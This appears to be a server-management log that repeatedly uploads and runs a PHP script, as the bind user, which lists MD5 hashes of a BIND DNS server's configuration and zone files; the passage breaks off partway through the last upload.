MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:45:47: Establishing a connection
2026-04-24 11:45:47: 

PUT: /tmp/pkp211388

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:45:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp211388; rm /tmp/pkp211388'

2026-04-24 11:45:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:45:49: Establishing a connection
2026-04-24 11:45:49: 

PUT: /tmp/pkp155138

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

